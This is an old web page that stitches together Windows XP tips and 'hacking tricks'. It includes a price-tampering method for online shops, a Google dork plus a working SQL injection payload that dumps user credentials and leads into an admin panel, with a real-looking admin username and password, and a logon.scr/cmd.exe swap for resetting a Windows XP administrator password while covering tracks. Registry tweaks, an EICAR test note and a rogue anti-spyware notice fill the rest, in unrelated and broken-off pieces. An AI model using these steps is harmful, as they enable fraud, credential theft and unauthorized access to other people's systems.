This is an old trick

Requirements:
Firefox

http://addons.mozilla.org/EN-US/firefox/addon/966


When you're done, just go to some online shops. Click "tools" in the Firefox menu bar and click on "Tamper Data". Then "Start Tamper"

Now click on the item that you want to buy. Then a window will appear, click on "Tamper". Another window will appear, you'll see a label "Amount" and a text box with the amount.

EASY WEBSITE HACKING

EASY WEBSITE HACKING


This definitely doesn't work on every single website, so please please please dont complain.
This took a really long time to make so please be happy
Starting (Must use Firefox)
1. Open Google
2. type in Code: "Powered by EasySiteNetwork /category.php " When choosing a site to hack, make sure you dont choose one talking about the sql injection.. that wont get you anywhere .
I Found the site im going to use in this tutorial, on page 8 of my google search
Exploit
1. Take a look at the url box, make sure it says category.php somewhere in the link otherwise this wont work
This is the exploit Code: /category.php?catid=1+union+select+111,222,concat_ws(char(58),login,password,email),444+from+users/* Starting from category.php highlight the rest of the url and replace it with the exploit code .
Ok now click Enter and notice the changes to the page .
The user information is set up like this : Username: Password: Email
NOTE: if there is more then one username and password, then its most likely that the 2nd one is the Admin Account, but if there is only one username, then it of course is the only one displayed
So in this situation the Admin username is :1stAngel and the password is: akhual
Now in order to login to the admin control panel, we most add this extension to the original url : /siteadmin/index.php

NOTE: Sometimes there is a popup to login to the admin panel, thats okay to, but if it doesnt work, then just login like any other user would on the home page

Congrats you are now logged into the admin control panel, do as you please, also if you find out the hosting the website is using, by typing in a false path, you can login to there FTP

Corrupt Anti-Spyware

"Beware Don't Install any of this Anti virus Listed Below"

Corrupt AntiSpyware category contains the list of corrupt, rogue, fake, illegal, even harmful anti-spyware tools that cannot correctly detect and remove spyware or other parasites and therefore are totally ineffective and should NOT be purchased and used. Listed programs have been carefully tested by the 2-spyware.com research center and did not pass most of our tests. These so-called spyware removers are driven by SPAM or deceptive advertising, are illegitimate clones of each other, use incorrect pest detection techniques, produce false positives finding malicious programs even in completely clean systems or do not work properly at all. Neither of corrupt anti-spyware tools can effectively fight against parasites, as most of them are made only to trick users in order to make money from them.

Each spyware remover in the category comes with a review describing its negative sides and the reason why it was added to the corrupt anti-spyware list. Published reviews also include program screenshots, highlighting its questionable behavior, produced false positives, made detection and removal mistakes, etc. We rate tested programs by giving them marks from 1 to 100. The lower mark a spyware remover gets the less effective it is. Please carefully read each review, pay attention to the rating mark a program got and read comments published by other visitors. This will help you to make a wise choice and learn more about your currently used anti-spyware program.

In the list of questionable tools we add potentially corrupt anti-spyware programs that were not tested by the 2-spyware.com research center due several reasons. Most of listed products are discontinued, others do not have any free, demonstration or trial versions. Nevertheless, all the entries definitely are rogue, ineffective and even harmful. Reviews are based on information provided by reliable sources such as SpywareWarrior, Sunbelt Software, Eric L. Howes, Patrick M. Kolla and others.

If you need a legitimate and effective spyware remover, please visit the anti-spyware category, which contains the list of all known legitimate anti-spyware programs able to effectively detect and remove spyware or other parasites. Drop us a note if you have found the program which deserves to be listed in the list of corrupt anti-spyware tools.

Then save file as "eicar.com" including quotation-marks

After some seconds saving this file your antivirus should come with the message that this file is infected virus asking permission for its deletion/clean.
This file is secure and its not gonna infect your computer in whatever way. It is a standart text developed by the European Institute for Computer Anti-virus Research (EICAR).Every antivirus is programed to load this file as a virus.

If your antivirus is not going to hack this file as a virus, in your screen will appear DOS window with this text EICAR-STANDARD-ANTIVIRUS-TEST-FILE".If this happens then you should probably find some other Antivirus up to date, meaning your PC might already being infected from viruses (<<) and your current antivirus do not recognize them.

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.


Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Registry Hacking

Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

Automatic Administrator Login:
Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"

Menu Delays:

Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.

GPEDIT.MSC And Autoplay

A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.

Increasing options in add/remove programs:

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:

[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

To this:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".

Automatically Kill Programs At Shutdown:

don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.

Speeding Up Share Viewing:

This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!

Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.

Speed up Internet Explorer 6 Favorites

For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.

Aspi

WinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.
